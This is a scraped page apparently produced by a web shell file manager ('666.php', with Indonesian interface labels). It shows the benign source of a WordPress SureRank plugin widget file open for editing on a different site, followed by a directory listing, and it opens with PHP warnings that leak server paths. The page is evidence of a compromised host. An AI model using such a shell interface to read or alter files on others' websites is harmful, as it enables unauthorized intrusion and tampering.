??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/am1atec.co.uk/wp-content/plugins/surerank/inc/admin/search-console-widget.php
⬅ Kembali
<?php
/**
* Search Console Dashboard Widget
*
* @since 1.5.0
* @package surerank
*/
namespace SureRank\Inc\Admin;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
use SureRank\Inc\Functions\Settings;
use SureRank\Inc\GoogleSearchConsole\Auth;
use SureRank\Inc\GoogleSearchConsole\Controller;
use SureRank\Inc\Traits\Enqueue;
use SureRank\Inc\Traits\Get_Instance;
/**
* Search Console Widget
*
* @method void wp_enqueue_scripts()
* @since 1.5.0
*/
class Search_Console_Widget {
use Enqueue;
use Get_Instance;
/**
* Constructor
*
* @since 1.5.0
* @return void
*/
public function __construct() {
if ( ! apply_filters( 'surerank_global_setting_access', current_user_can( 'manage_options' ) ) || ! Settings::get( 'enable_google_console' ) ) {
return;
}
$this->enqueue_scripts_admin();
add_action( 'wp_dashboard_setup', [ $this, 'register_dashboard_widget' ] );
}
/**
* Register dashboard widget
*
* @since 1.5.0
* @return void
*/
public function register_dashboard_widget() {
wp_add_dashboard_widget(
'surerank_search_console_widget',
__( 'SureRank Website Insights', 'surerank' ),
[ $this, 'render_widget' ],
null,
null,
'normal',
'high'
);
}
/**
* Render widget content
*
* @since 1.5.0
* @return void
*/
public function render_widget() {
echo '<div class="surerank-root surerank-widget surerank-styles"><div id="surerank-widget-root"></div></div>';
}
/**
* Enqueue widget assets
*
* @since 1.5.0
* @return void
*/
public function admin_enqueue_scripts() {
$screen = get_current_screen();
// Only load on dashboard page.
if ( ! $screen || 'dashboard' !== $screen->id ) {
return;
}
// Enqueue widget assets.
$this->enqueue_vendor_and_common_assets();
$this->build_assets_operations( 'search-console-widget', $this->get_widget_localized_data(), [ 'updates' ] );
}
/**
* Get widget localized data
*
* @since 1.5.0
* @return array<string, array<string, bool|string>|string> Localized data for the widget
*/
private function get_widget_localized_data() {
return [
'hook' => 'search-console-widget',
'object_name' => 'search_console_widget',
'data' => [
'is_gsc_connected' => Controller::get_instance()->get_auth_status(),
'has_gsc_site_selected' => ! empty( Auth::get_instance()->get_credentials( 'site_url' ) ),
'gsc_selected_site' => Auth::get_instance()->get_credentials( 'site_url' ),
'settings_page_url' => admin_url( 'admin.php?page=surerank#/search-console' ),
'_ajax_nonce' => wp_create_nonce( 'surerank_plugin' ),
],
];
}
}
Nama
Tipe
Ukuran
Diubah
Aksi
📁 assets
dir
—
2026-06-25 05:34
🐘 admin-notice.php
php
8.3 KB
2026-06-21 06:40
🐘 attachment.php
php
3.4 KB
2026-06-21 06:40
🐘 bulk-actions.php
php
8.1 KB
2026-06-21 06:40
🐘 bulk-edit.php
php
4.5 KB
2026-06-21 06:40
🐘 dashboard.php
php
22.2 KB
2026-06-21 06:40
🐘 delete-data-checkbox.php
php
7.5 KB
2026-06-21 06:40
🐘 helper.php
php
2 KB
2026-06-21 06:40
🐘 onboarding.php
php
889 B
2026-06-21 06:40
🐘 rest-site-health.php
php
4.8 KB
2026-06-21 06:40
🐘 review-notice.php
php
9.2 KB
2026-06-21 06:40
🐘 search-console-widget.php
php
2.6 KB
2026-06-21 06:40
🐘 seo-bar.php
php
10.6 KB
2026-06-21 06:40
🐘 seo-popup.php
php
23.2 KB
2026-06-21 06:40
🐘 site-health.php
php
5.8 KB
2026-06-21 06:40
🐘 sync.php
php
13.7 KB
2026-06-21 06:40
🐘 update-timestamp.php
php
1.2 KB
2026-06-21 06:40